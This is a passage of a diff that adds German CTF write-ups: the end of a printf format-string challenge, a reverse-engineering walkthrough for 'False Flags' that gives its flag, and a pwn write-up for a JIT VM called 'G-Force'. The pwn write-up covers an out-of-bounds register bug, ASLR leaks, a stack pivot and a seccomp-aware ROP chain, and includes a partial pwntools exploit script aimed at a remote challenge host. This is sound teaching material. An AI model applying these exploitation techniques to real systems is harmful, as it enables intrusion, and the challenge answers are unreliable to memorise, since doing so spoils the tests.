||||||
|
3. Identifiziere die Hex-Werte, die wie lesbarer Text aussehen (beginnend mit `0x...` und ASCII-Werte enthaltend).
|
||||||
|
4. Kehre die Bytes um (Endianness) und wandle sie in Zeichen um.
|
||||||
|
5. Kombiniere die Teile, um das Flag zu finden!
|
||||||
|
|
||||||
|
## Gelernte Lektionen
|
||||||
|
|
||||||
|
Selbst wenn ein Programm "nur Text druckt", ist es nicht sicher, wenn es `printf` falsch verwendet. Die Lösung ist einfach: Verwende immer `printf("%s", buffer);`. Dies stellt sicher, dass die Eingabe als reine Zeichenkette behandelt wird und nicht als Code oder Anweisungen für die Funktion.
|
||||||
|
|
||||||
|
Viel Erfolg beim Hacken!
|
||||||
115
de/false_flags.md
Normal file
115
de/false_flags.md
Normal file
@@ -0,0 +1,115 @@
|
|||||||
|
# False Flags
|
||||||
|
|
||||||
|
`falseFlags` ist eine einsteigerfreundliche Reverse-Engineering-Challenge. Wir erhalten eine Binärdatei, die mehrere "falsche" Flaggen enthält, und unser Ziel ist es, die richtige zu identifizieren.
|
||||||
|
|
||||||
|
## 1. Erste Analyse
|
||||||
|
|
||||||
|
Wir beginnen mit der Untersuchung des Dateityps und der grundlegenden Eigenschaften.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ file false_flags
|
||||||
|
false_flags: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=..., for GNU/Linux 3.2.0, stripped
|
||||||
|
```
|
||||||
|
|
||||||
|
Es ist eine Standard-64-Bit-ELF-ausführbare Datei. Versuchen wir, sie auszuführen. Die Challenge ist auch remote verfügbar unter `<SERVER_IP>:1301`.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ nc <SERVER_IP> 1301
|
||||||
|
=== The Vault of Falsehoods ===
|
||||||
|
There are many keys, but only one opens the door.
|
||||||
|
Enter the password: test
|
||||||
|
[-] Wrong! That was merely a decoy.
|
||||||
|
```
|
||||||
|
|
||||||
|
Da die Beschreibung "versteckte Passwörter in der Binärdatei" erwähnt, ist der `strings`-Befehl ein guter erster Schritt, um zu sehen, was drin ist.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ strings false_flags | grep flag
|
||||||
|
{flag:This_Is_Definitely_Not_It}
|
||||||
|
{flag:Try_Harder_To_Find_The_Key}
|
||||||
|
{flag:Strings_Are_Misleading_You}
|
||||||
|
...
|
||||||
|
{flag:Reverse_Engineering_Is_Cool}
|
||||||
|
...
|
||||||
|
```
|
||||||
|
|
||||||
|
Wir sehen eine lange Liste potenzieller Flaggen. Wir könnten sie eine nach der anderen ausprobieren, aber das ist mühsam (und "Brute-Force" ist nicht der elegante Weg!). Wir müssen herausfinden, mit *welchem* spezifischen String das Programm unsere Eingabe vergleicht.
|
||||||
|
|
||||||
|
## 2. Statische Analyse
|
||||||
|
|
||||||
|
Wir können die Binärdatei mit `objdump` analysieren, um uns den Assembler-Code anzusehen. Da die Binärdatei "stripped" ist, sehen wir keine Funktionsnamen wie `main`. Wir können jedoch den Einsprungpunkt finden.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ readelf -h false_flags | grep "Entry point"
|
||||||
|
Entry point address: 0x4019f0
|
||||||
|
```
|
||||||
|
|
||||||
|
Der Einsprungpunkt ist bei `0x4019f0`. Wenn wir an dieser Adresse disassemblieren, sehen wir den Startcode (`_start`), der `__libc_start_main` aufruft. Das erste Argument für `__libc_start_main` ist die Adresse von `main`.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ objdump -d -M intel --start-address=0x4019f0 --stop-address=0x401a20 false_flags
|
||||||
|
|
||||||
|
00000000004019f0 <.text+0x830>:
|
||||||
|
...
|
||||||
|
401a08: 48 c7 c7 52 1b 40 00 mov rdi,0x401b52 <-- Adresse von main
|
||||||
|
401a0f: 67 e8 5b 15 00 00 addr32 call 0x402f70 <-- Aufruf von __libc_start_main
|
||||||
|
...
|
||||||
|
```
|
||||||
|
|
||||||
|
Also befindet sich `main` bei `0x401b52`. Disassemblieren wir sie.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ objdump -d -M intel --start-address=0x401b52 --stop-address=0x401c50 false_flags
|
||||||
|
```
|
||||||
|
|
||||||
|
In der Ausgabe sehen wir früh in der Funktion einen Aufruf:
|
||||||
|
|
||||||
|
```assembly
|
||||||
|
401ba0: e8 70 ff ff ff call 0x401b15
|
||||||
|
401ba5: 89 85 6c ff ff ff mov DWORD PTR [rbp-0x94],eax
|
||||||
|
```
|
||||||
|
|
||||||
|
Der Rückgabewert (in `eax`) wird in `[rbp-0x94]` gespeichert. Diese Variable wird später verwendet, um auf ein Array zuzugreifen. Schauen wir uns an, was `0x401b15` tut.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ objdump -d -M intel --start-address=0x401b15 --stop-address=0x401b52 false_flags
|
||||||
|
|
||||||
|
0000000000401b15 <.text+0x955>:
|
||||||
|
...
|
||||||
|
401b4b: b8 0c 00 00 00 mov eax,0xc
|
||||||
|
401b50: 5d pop rbp
|
||||||
|
401b51: c3 ret
|
||||||
|
```
|
||||||
|
|
||||||
|
Trotz einiger Schleifenlogik davor gibt die Funktion letztendlich `0xc` (dezimal 12) zurück. Dieser Index wird verwendet, um die richtige Flagge aus dem Array von Strings auszuwählen, die wir früher gesehen haben.
|
||||||
|
|
||||||
|
## 3. Die Lösung
|
||||||
|
|
||||||
|
Jetzt müssen wir einfach den String am Index 12 (beginnend bei 0) in der Liste finden, die wir früher gefunden haben.
|
||||||
|
|
||||||
|
0. {flag:This_Is_Definitely_Not_It}
|
||||||
|
1. {flag:Try_Harder_To_Find_The_Key}
|
||||||
|
2. {flag:Strings_Are_Misleading_You}
|
||||||
|
...
|
||||||
|
10. {flag:Do_Not_Trust_Simple_Strings}
|
||||||
|
11. {flag:Index_Twelve_Is_Not_Real_11}
|
||||||
|
12. {flag:Reverse_Engineering_Is_Cool}
|
||||||
|
|
||||||
|
Der String bei Index 12 ist:
|
||||||
|
`{flag:Reverse_Engineering_Is_Cool}`
|
||||||
|
|
||||||
|
Überprüfen wir dies, indem wir uns mit dem Remote-Server verbinden:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ nc <SERVER_IP> 1301
|
||||||
|
=== The Vault of Falsehoods ===
|
||||||
|
There are many keys, but only one opens the door.
|
||||||
|
Enter the password: {flag:Reverse_Engineering_Is_Cool}
|
||||||
|
|
||||||
|
[+] Correct! Access Granted.
|
||||||
|
[*] The flag is indeed: {flag:Reverse_Engineering_Is_Cool}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Fazit
|
||||||
|
|
||||||
|
Diese Challenge zeigt, dass `strings` zwar interessante Daten offenbaren kann, das Verständnis der *Logik* (Kontrollfluss) des Programms jedoch oft notwendig ist, um nützliche Daten von Täuschungen zu unterscheiden.
|
||||||
457
de/g_force.md
Normal file
457
de/g_force.md
Normal file
@@ -0,0 +1,457 @@
|
|||||||
|
# Write-up: G-Force
|
||||||
|
|
||||||
|
**Kategorie:** Pwn
|
||||||
|
**Schwierigkeitsgrad:** Schwer
|
||||||
|
**Beschreibung:** Eine benutzerdefinierte JIT-kompilierte VM mit einer sicheren Sandbox und Inhaltsfilterung.
|
||||||
|
|
||||||
|
In dieser Challenge werden wir mit einer benutzerdefinierten Virtual Machine namens "G-Force" konfrontiert. Das Binary ist statisch gelinkt und "stripped" (ohne Symbole), was das Reverse Engineering etwas aufwändiger macht. Uns wird mitgeteilt, dass es einen JIT-Compiler und einen "sicheren, in einer Sandbox isolierten Speicherbereich" hat.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Initiale Analyse
|
||||||
|
|
||||||
|
Wir beginnen mit der Untersuchung des bereitgestellten Binaries `g_forcevm`.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ file g_forcevm
|
||||||
|
g_forcevm: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, BuildID[sha1]=..., for GNU/Linux 3.2.0, stripped
|
||||||
|
```
|
||||||
|
|
||||||
|
Es ist eine **Static PIE** Executable. Das bedeutet, dass sie alle ihre Abhängigkeiten enthält (keine externe libc), aber positionsunabhängig ist (ASLR ist aktiv). Sie ist außerdem **stripped**, wir haben also keine Funktionsnamen.
|
||||||
|
|
||||||
|
Wenn wir das Binary ausführen, werden wir mit einem Prompt und einem Hilfemenü begrüßt:
|
||||||
|
|
||||||
|
```text
|
||||||
|
--- G-FORCE VM v2.0 (Final) ---
|
||||||
|
4KB Secure Sandbox. Type 'help' for instructions.
|
||||||
|
> help
|
||||||
|
|
||||||
|
--- G-Force Instruction Set ---
|
||||||
|
General:
|
||||||
|
MOVI R, IMM : Load immediate value into Register R
|
||||||
|
MOVR R1, R2 : Copy value from R2 to R1
|
||||||
|
...
|
||||||
|
Meta Commands:
|
||||||
|
execute : Compile and run the current program buffer
|
||||||
|
info : Dump current CPU state
|
||||||
|
ram OFF LEN : Hex dump of RAM at offset
|
||||||
|
debug : Run debug logger
|
||||||
|
...
|
||||||
|
```
|
||||||
|
|
||||||
|
## 2. Reverse Engineering
|
||||||
|
|
||||||
|
Mithilfe von Ghidra analysieren wir das Binary, um die interne Struktur der VM zu verstehen und herauszufinden, wie sie Befehle verarbeitet.
|
||||||
|
|
||||||
|
### Die VM-Struktur & das Stack-Layout
|
||||||
|
Bei der Analyse der `main`-Funktion (dekompiliert an Adresse `0x0010ba79`) können wir die Variablen identifizieren, die zur Speicherung des CPU-Status verwendet werden.
|
||||||
|
|
||||||
|
```c
|
||||||
|
undefined8 FUN_0010ba79(void)
|
||||||
|
{
|
||||||
|
// ...
|
||||||
|
undefined1 local_20d8 [40];
|
||||||
|
undefined8 local_20b0;
|
||||||
|
undefined8 local_20a8;
|
||||||
|
code *local_20a0;
|
||||||
|
undefined1 local_2098 [8192];
|
||||||
|
// ...
|
||||||
|
|
||||||
|
// Initialisierung
|
||||||
|
thunk_FUN_0012dff0(local_20d8,0,0x40); // memset
|
||||||
|
|
||||||
|
// RAM-Allokation
|
||||||
|
// FUN_0012ac00 ist wahrscheinlich malloc (oder ein Wrapper).
|
||||||
|
// 0x1000 = 4096 Bytes (4KB)
|
||||||
|
local_20a8 = FUN_0012ac00(0x1000);
|
||||||
|
|
||||||
|
// Initialisierung des Debug-Funktionszeigers
|
||||||
|
local_20a0 = FUN_00109a22;
|
||||||
|
|
||||||
|
// Hauptschleife
|
||||||
|
while( true ) {
|
||||||
|
// ... Befehls-Parsing ...
|
||||||
|
iVar2 = thunk_FUN_0012d150(uVar4,"debug");
|
||||||
|
if (iVar2 == 0) {
|
||||||
|
// VERWUNDBARER AUFRUF
|
||||||
|
(*local_20a0)(local_20a8);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
iVar2 = thunk_FUN_0012d150(uVar4,"execute");
|
||||||
|
if (iVar2 == 0) {
|
||||||
|
FUN_00115f80("[*] Compiling %d ops...\n",local_20f8);
|
||||||
|
FUN_0010a2b8(local_20d8,local_2098,local_20f8);
|
||||||
|
// ...
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Wir sehen, dass `local_20d8` ein Array von 40 Bytes ist. Dies hält höchstwahrscheinlich die Register (A, B, C, D, SP).
|
||||||
|
Wir sehen, dass `local_20a0` ein Funktionszeiger ist, der auf `0x00109a22` (den Standard-Logger) initialisiert wird.
|
||||||
|
Betrachten wir das Speicher-Layout auf dem Stack genauer:
|
||||||
|
* `local_20d8` (Register) beginnt am Offset `-0x20d8`.
|
||||||
|
* `local_20a8` (RAM-Zeiger) beginnt am Offset `-0x20a8`.
|
||||||
|
* `local_20a0` (Func Ptr) beginnt am Offset `-0x20a0`.
|
||||||
|
|
||||||
|
Der Abstand zwischen dem Register-Array und dem RAM-Zeiger beträgt `0x20d8 - 0x20a8 = 0x30`, was **48 Bytes** entspricht.
|
||||||
|
Der Abstand zwischen dem Register-Array und dem Funktionszeiger beträgt `0x20d8 - 0x20a0 = 0x38`, was **56 Bytes** entspricht.
|
||||||
|
|
||||||
|
### Bestätigung des Layouts über `info`
|
||||||
|
Um zu bestätigen, dass `local_20d8` tatsächlich die Register enthält, können wir die Funktion untersuchen, die für den `info`-Befehl verantwortlich ist (in Ghidra als `FUN_00109cbe` bezeichnet).
|
||||||
|
|
||||||
|
```c
|
||||||
|
void FUN_00109cbe(undefined8 *param_1)
|
||||||
|
{
|
||||||
|
FUN_0011d2b0("\n--- CPU STATE ---");
|
||||||
|
FUN_00115f80("Reg A: 0x%016lx | Reg B: 0x%016lx\n",*param_1,param_1[1]);
|
||||||
|
FUN_00115f80("Reg C: 0x%016lx | Reg D: 0x%016lx\n",param_1[2],param_1[3]);
|
||||||
|
FUN_00115f80("SP : 0x%016lx\n",param_1[5]);
|
||||||
|
FUN_0011d2b0("-----------------");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Diese Funktion nimmt einen Zeiger auf `local_20d8` als Argument entgegen.
|
||||||
|
* `param_1[0]` entspricht **Register A** (Offset 0).
|
||||||
|
* `param_1[1]` entspricht **Register B** (Offset 8).
|
||||||
|
* `param_1[2]` entspricht **Register C** (Offset 16).
|
||||||
|
* `param_1[3]` entspricht **Register D** (Offset 24).
|
||||||
|
* `param_1[5]` entspricht **SP** (Offset 40).
|
||||||
|
|
||||||
|
Die Tatsache, dass `info` diese Werte direkt aus dem Array `local_20d8` druckt, bestätigt, dass dieser Speicherbereich das Register-File der CPU repräsentiert.
|
||||||
|
|
||||||
|
### Rekonstruktion der CPU-Struktur
|
||||||
|
Basierend auf dem Speicher-Layout und der `info`-Funktion können wir die interne `CPU`-Struktur der VM auf dem Stack rekonstruieren:
|
||||||
|
|
||||||
|
```c
|
||||||
|
struct CPU_Stack_Layout {
|
||||||
|
uint64_t regs[4]; // Offset 0x00: Register A, B, C, D
|
||||||
|
uint64_t PC; // Offset 0x20: Program Counter / reserviert
|
||||||
|
uint64_t SP; // Offset 0x28: Stack Pointer (Offset 40)
|
||||||
|
uint8_t *ram; // Offset 0x30: Zeiger auf VM-RAM (Offset 48)
|
||||||
|
void (*debug_log)(char*); // Offset 0x38: Funktionszeiger für den 'debug'-Befehl (Offset 56)
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
Dies passt perfekt zu unserem rekonstruierten Layout!
|
||||||
|
|
||||||
|
### Die Schwachstelle: Out-of-Bounds Registerzugriff
|
||||||
|
Der Befehls-Parser wandelt Registernamen in Indizes um.
|
||||||
|
- `a` -> 0
|
||||||
|
- `b` -> 1
|
||||||
|
- `c` -> 2
|
||||||
|
- `d` -> 3
|
||||||
|
|
||||||
|
Jedoch erlaubt die Validierungsfunktion `FUN_001099bf` Buchstaben bis hin zu `h`!
|
||||||
|
|
||||||
|
```c
|
||||||
|
int FUN_001099bf(char *param_1)
|
||||||
|
{
|
||||||
|
// ...
|
||||||
|
if ((*param_1 < 'a') || ('h' < *param_1)) {
|
||||||
|
iVar1 = -1;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
iVar1 = *param_1 + -0x61;
|
||||||
|
}
|
||||||
|
// ...
|
||||||
|
return iVar1;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Wenn wir Register **`g`** (Index 6) verwenden:
|
||||||
|
`Adresse = local_20d8 + (6 * 8) = local_20d8 + 48` -> Dies greift auf den `ram`-Zeiger zu.
|
||||||
|
|
||||||
|
Wenn wir Register **`h`** (Index 7) verwenden:
|
||||||
|
`Adresse = local_20d8 + (7 * 8) = local_20d8 + 56` -> Dies greift auf den `debug_log`-Funktionszeiger zu!
|
||||||
|
|
||||||
|
Dies gibt uns zwei mächtige Primitive:
|
||||||
|
1. **Arbitrary Read (Leak):** `MOVR a, h` liest den Funktionszeiger in das Register `a`. Wir können ihn uns dann über `info` ansehen, um die ASLR-Basisadresse zu leaken. Auf ähnliche Weise leakt `MOVR b, g` die Heap-Basis.
|
||||||
|
2. **Control Flow Hijack (Kontrollflussübernahme):** `MOVI h, <ADDR>` ermöglicht es uns, den Funktionszeiger mit einer beliebigen Adresse unserer Wahl zu überschreiben.
|
||||||
|
|
||||||
|
### Der "Debug"-Befehl
|
||||||
|
Der `debug`-Befehl ruft die Funktion auf, die in `local_20a0` (Register `h`) gespeichert ist. Er übergibt den RAM-Zeiger (Register `g`) als erstes Argument (`rdi`).
|
||||||
|
|
||||||
|
```c
|
||||||
|
// Pseudo-Code für den debug-Befehl
|
||||||
|
if (cmd == "debug") {
|
||||||
|
// local_20a0 zeigt standardmäßig auf default_logger
|
||||||
|
// Wenn wir local_20a0 überschreiben, kontrollieren wir die Ausführung.
|
||||||
|
// Das erste Argument (RDI) ist immer der RAM-Zeiger (local_20a8).
|
||||||
|
(*local_20a0)(local_20a8);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 3. Ausnutzungsstrategie: Der Schlachtplan
|
||||||
|
|
||||||
|
Um das System vollständig zu kompromittieren, müssen wir ASLR umgehen. Da ein Seccomp-Filter eingerichtet ist, müssen wir eine Read/Write/Open-ROP-Chain verwenden, anstatt einfach eine Shell aufzurufen.
|
||||||
|
|
||||||
|
### Entdeckung der Seccomp-Sandbox
|
||||||
|
Während der Analyse des Binaries stoßen wir auf eine Funktion `FUN_0010b918`, die früh in `main` aufgerufen wird. Das Dekompilieren dieser Funktion offenbart, wie die in der Beschreibung erwähnte "sichere Sandbox" implementiert ist:
|
||||||
|
|
||||||
|
```c
|
||||||
|
void FUN_0010b918(void)
|
||||||
|
{
|
||||||
|
// ...
|
||||||
|
iVar1 = FUN_001636b0(0x26,1,0,0,0);
|
||||||
|
if (iVar1 != 0) {
|
||||||
|
FUN_001161b0("prctl(NO_NEW_PRIVS)");
|
||||||
|
FUN_00115450(1);
|
||||||
|
}
|
||||||
|
iVar1 = FUN_001636b0(0x16,2,local_68);
|
||||||
|
if (iVar1 != 0) {
|
||||||
|
FUN_001161b0("prctl(SECCOMP)");
|
||||||
|
FUN_00115450(1);
|
||||||
|
}
|
||||||
|
// ...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Die Funktion `FUN_001636b0` ist ein Wrapper um den `prctl`-Syscall.
|
||||||
|
1. **`prctl(PR_SET_NO_NEW_PRIVS, 1, ...)`**: Dies wird mit `option = 38` (`0x26`) aufgerufen, was `PR_SET_NO_NEW_PRIVS` entspricht. Dies verhindert, dass der Prozess (und seine Kindprozesse) neue Privilegien erlangt, wodurch `setuid`/`setgid`-Binaries deaktiviert werden.
|
||||||
|
2. **`prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, ...)`**: Dies wird mit `option = 22` (`0x16`) aufgerufen, was `PR_SET_SECCOMP` entspricht. Das zweite Argument `2` spezifiziert `SECCOMP_MODE_FILTER`. Dies wendet ein BPF-Programm (Berkeley Packet Filter) an, um einzuschränken, welche Systemaufrufe der Prozess tätigen darf.
|
||||||
|
|
||||||
|
Wegen dieses Seccomp-Filters werden Standard-Ausnutzungstechniken wie der Aufruf von `system("/bin/sh")` oder die Ausführung eines `execve`-Shellcodes fehlschlagen (der Kernel würde den Prozess beenden). Stattdessen müssen wir eine **Open-Read-Write (ORW)** ROP-Chain verwenden, um die Flag-Datei explizit zu öffnen, ihren Inhalt in den Speicher zu lesen und auf die Standardausgabe (stdout) zu schreiben.
|
||||||
|
|
||||||
|
### Schritt 1: Adressen leaken (ASLR umgehen)
|
||||||
|
Da das Binary positionsunabhängig ist (PIE), sind alle Code-Adressen randomisiert. Wir müssen herausfinden, wo sich der Code im Speicher befindet.
|
||||||
|
1. **Code-Adresse leaken:** Wir kopieren den Funktionszeiger in das Register `a` (`MOVR a, h`).
|
||||||
|
2. **Heap-Adresse leaken:** Wir kopieren den RAM-Zeiger in das Register `b` (`MOVR b, g`).
|
||||||
|
3. **Den Leak auslesen:** Wir führen diese Befehle aus und verwenden den VM-Befehl `info`, um `Reg A` und `Reg B` auszulesen. Indem wir den bekannten statischen Offset der Logger-Funktion (`0x00109a22`) von `Reg A` abziehen, berechnen wir die **Basisadresse** des Binaries.
|
||||||
|
|
||||||
|
### Schritt 2: Die ROP-Chain konstruieren und im RAM platzieren
|
||||||
|
Wir müssen den `syscall` aufrufen (Linux x64 ABI). Die Aufrufkonvention lautet:
|
||||||
|
* `RAX` = System Call Nummer
|
||||||
|
* `RDI` = Argument 1
|
||||||
|
* `RSI` = Argument 2
|
||||||
|
* `RDX` = Argument 3
|
||||||
|
|
||||||
|
Hier ist, wie jeder Befehl in der Kette konstruiert ist:
|
||||||
|
|
||||||
|
#### 1. `open("./flag.txt", 0)`
|
||||||
|
* `pop rdi; ret` -> `ADDR_OF_STRING` (Zeiger auf "flag.txt\0")
|
||||||
|
* `pop rsi; ret` -> `0` (O_RDONLY)
|
||||||
|
* `pop rax; ret` -> `2` (SYS_open)
|
||||||
|
* `syscall; ret`
|
||||||
|
|
||||||
|
#### 2. `read(3, buffer, 0x100)`
|
||||||
|
* `pop rdi; ret` -> `3` (File Descriptor, normalerweise 3, da 0/1/2 Standard sind)
|
||||||
|
* `pop rsi; ret` -> `ADDR_OF_BUFFER` (Zeiger auf beschreibbaren Speicher, z. B. Offset 0x300 im RAM)
|
||||||
|
* `pop rdx; ret` -> `0x100` (Anzahl zu lesender Bytes)
|
||||||
|
* `pop rax; ret` -> `0` (SYS_read)
|
||||||
|
* `syscall; ret`
|
||||||
|
|
||||||
|
#### 3. `write(1, buffer, 0x100)`
|
||||||
|
* `pop rdi; ret` -> `1` (stdout)
|
||||||
|
* `pop rsi; ret` -> `ADDR_OF_BUFFER` (Zeiger darauf, wo wir das Flag eingelesen haben)
|
||||||
|
* `pop rdx; ret` -> `0x100` (Anzahl zu schreibender Bytes)
|
||||||
|
* `pop rax; ret` -> `1` (SYS_write)
|
||||||
|
* `syscall; ret`
|
||||||
|
|
||||||
|
**Im RAM platzieren:** Wir schreiben diese gesamte Kette von 64-Bit-Ganzzahlen unter Verwendung des VM-Befehls `SAVER` in den VM-RAM (beginnend bei Offset 0).
|
||||||
|
|
||||||
|
### Schritt 3: Den Pivot finden
|
||||||
|
Wir haben eine ROP-Chain, die im Heap liegt (VM-RAM), aber die CPU verwendet den echten Stack. Wir müssen den `RSP` (Stack Pointer) auf unseren RAM zeigen lassen, damit die CPU beginnt, unsere Chain auszuführen.
|
||||||
|
1. **Das Pivot-Gadget finden:** Wir identifizieren ein "Stack Pivot"-Gadget. Die Verwendung von `ROPgadget` auf dem Binary offenbart ein perfektes Gadget: `mov rsp, rdi; ret` beim Offset `0x000099b8`.
|
||||||
|
2. **Warum dieses Gadget?** Wenn der `debug`-Befehl aufgerufen wird, ist das erste Argument (`RDI`) ein Zeiger auf den VM-RAM (Register `g`).
|
||||||
|
3. **Der Auslöser (Trigger):** Wenn wir zu diesem Gadget springen, wird es `RDI` (den RAM-Zeiger) in `RSP` kopieren. Das anschließende `ret` popt dann die ersten 8 Bytes unseres RAMs in den `RIP` und startet so die ROP-Chain.
|
||||||
|
|
||||||
|
### Schritt 4: Den Funktionszeiger überschreiben
|
||||||
|
Da die ROP-Chain nun im RAM platziert ist und wir die Adresse unseres Pivot-Gadgets haben, müssen wir den Ausführungsfluss umleiten.
|
||||||
|
1. **Ziel Register H:** Das Schreiben in das Register `h` überschreibt den Funktionszeiger `debug_log`.
|
||||||
|
2. **Die Payload:** Wir verwenden `MOVI h, <ADDR_OF_PIVOT>`, um die Standard-Logger-Adresse durch die Adresse unseres Stack-Pivot-Gadgets zu ersetzen.
|
||||||
|
|
||||||
|
### Schritt 5: Die Chain auslösen
|
||||||
|
Der letzte Schritt ist die Ausführung des gehijackten Funktionszeigers.
|
||||||
|
1. **Der Trigger-Befehl:** Wir tippen `execute`, um unsere Writer-Befehle zu kompilieren, und führen dann `debug` aus.
|
||||||
|
2. **Ausführungsfluss:**
|
||||||
|
* Die `main`-Schleife ruft den Funktionszeiger auf, der in Register `h` steht.
|
||||||
|
* Da wir ihn überschrieben haben, springt er zu `mov rsp, rdi; ret`.
|
||||||
|
* `RDI` enthält den RAM-Zeiger, sodass `RSP` zum RAM-Zeiger wird.
|
||||||
|
* Die CPU führt `ret` aus und popt das erste Gadget aus unserer ROP-Chain im RAM.
|
||||||
|
* Die Kette führt `open`, `read` und `write` aus und gibt das Flag auf unserer Konsole aus!
|
||||||
|
|
||||||
|
## 4. Das Lösungs-Skript
|
||||||
|
|
||||||
|
Hier ist das vollständige Skript `solve.py`. Es automatisiert das Leaken, die Berechnung und die Übermittlung der Payload.
|
||||||
|
|
||||||
|
```python
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# KONFIGURATION
|
||||||
|
# =============================================================================
|
||||||
|
OFFSET_DEFAULT_LOG = 0x00109a22
|
||||||
|
HOST = '87.106.77.47'
|
||||||
|
PORT = 1378
|
||||||
|
|
||||||
|
# Kontext setzen (wird noch zum packen/entpacken benötigt)
|
||||||
|
exe = './g_forcevm'
|
||||||
|
elf = ELF(exe, checksec=False)
|
||||||
|
context.binary = elf
|
||||||
|
context.log_level = 'info'
|
||||||
|
|
||||||
|
def start():
|
||||||
|
# [ÄNDERUNG] remote() anstelle von process() verwenden
|
||||||
|
return remote(HOST, PORT)
|
||||||
|
|
||||||
|
p = start()
|
||||||
|
|
||||||
|
def send_cmd(cmd):
|
||||||
|
p.sendline(cmd.encode())
|
||||||
|
|
||||||
|
def wait_prompt():
|
||||||
|
return p.recvuntil(b"> ")
|
||||||
|
|
||||||
|
log.info(f"--- G-Force Payload Builder (Ziel: {HOST}:{PORT}) ---")
|
||||||
|
wait_prompt()
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# SCHRITT 1: LIVE LEAK
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
log.info("SCHRITT 1: Adressen leaken...")
|
||||||
|
send_cmd("movr a, h")
|
||||||
|
wait_prompt()
|
||||||
|
send_cmd("movr b, g")
|
||||||
|
wait_prompt()
|
||||||
|
send_cmd("saver a, 0")
|
||||||
|
wait_prompt()
|
||||||
|
send_cmd("saver b, 8")
|
||||||
|
wait_prompt()
|
||||||
|
send_cmd("execute")
|
||||||
|
wait_prompt()
|
||||||
|
|
||||||
|
# Leaks auslesen
|
||||||
|
send_cmd("ram 0 16")
|
||||||
|
p.recvuntil(b"0000: ")
|
||||||
|
dump_line = p.recvline().decode().strip().split()
|
||||||
|
wait_prompt()
|
||||||
|
bytes_all = [int(b, 16) for b in dump_line]
|
||||||
|
|
||||||
|
leak_logger = 0
|
||||||
|
for i in range(8):
|
||||||
|
leak_logger += bytes_all[i] << (i*8)
|
||||||
|
|
||||||
|
leak_heap = 0
|
||||||
|
for i in range(8):
|
||||||
|
leak_heap += bytes_all[8+i] << (i*8)
|
||||||
|
|
||||||
|
binary_base = leak_logger - OFFSET_DEFAULT_LOG
|
||||||
|
addr_farm = leak_logger - 0x75
|
||||||
|
|
||||||
|
# Gadgets
|
||||||
|
addr_pop_rdi = addr_farm + 0
|
||||||
|
addr_pop_rsi = addr_farm + 2
|
||||||
|
addr_pop_rdx = addr_farm + 4
|
||||||
|
addr_pop_rax = addr_farm + 6
|
||||||
|
addr_syscall = addr_farm + 8
|
||||||
|
addr_pivot = addr_farm + 11
|
||||||
|
|
||||||
|
log.success(f" Geleakter Logger: {hex(leak_logger)}")
|
||||||
|
log.success(f" Geleakter Heap: {hex(leak_heap)}")
|
||||||
|
log.success(f" Basisadresse: {hex(binary_base)}")
|
||||||
|
log.success(f" Addr Farm: {hex(addr_farm)}")
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# SCHRITT 2: CHAIN KONSTRUIEREN
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
log.info("SCHRITT 2: ROP Chain konstruieren...")
|
||||||
|
|
||||||
|
chain = [
|
||||||
|
# --- OPEN("./flag.txt", 0, 0) ---
|
||||||
|
addr_pop_rdi,
|
||||||
|
leak_heap + 0x200, # Zeiger auf "./flag.txt"
|
||||||
|
addr_pop_rsi,
|
||||||
|
0,
|
||||||
|
addr_pop_rdx,
|
||||||
|
0,
|
||||||
|
addr_pop_rax,
|
||||||
|
2,
|
||||||
|
addr_syscall,
|
||||||
|
|
||||||
|
# --- READ(3, buffer, 100) ---
|
||||||
|
addr_pop_rdi,
|
||||||
|
3,
|
||||||
|
addr_pop_rsi,
|
||||||
|
leak_heap + 0x300, # Zeiger auf Buffer
|
||||||
|
addr_pop_rdx,
|
||||||
|
100,
|
||||||
|
addr_pop_rax,
|
||||||
|
0,
|
||||||
|
addr_syscall,
|
||||||
|
|
||||||
|
# --- WRITE(1, buffer, 64) ---
|
||||||
|
addr_pop_rdi,
|
||||||
|
1,
|
||||||
|
addr_pop_rsi,
|
||||||
|
leak_heap + 0x300,
|
||||||
|
addr_pop_rdx,
|
||||||
|
35,
|
||||||
|
addr_pop_rax,
|
||||||
|
1,
|
||||||
|
addr_syscall,
|
||||||
|
|
||||||
|
# --- EXIT(0) ---
|
||||||
|
addr_pop_rdi,
|
||||||
|
0,
|
||||||
|
addr_pop_rax,
|
||||||
|
60,
|
||||||
|
addr_syscall,
|
||||||
|
]
|
||||||
|
|
||||||
|
# Chain senden
|
||||||
|
i = 0
|
||||||
|
while i < len(chain):
|
||||||
|
send_cmd(f"movi a,{hex(chain[i])}")
|
||||||
|
wait_prompt()
|
||||||
|
send_cmd(f"saver a,{hex(i*8)}")
|
||||||
|
wait_prompt()
|
||||||
|
i = i+1
|
||||||
|
|
||||||
|
# String "./flag.txt" bei Offset 0x200 senden
|
||||||
|
flag_str = b'./flag.txt\0'
|
||||||
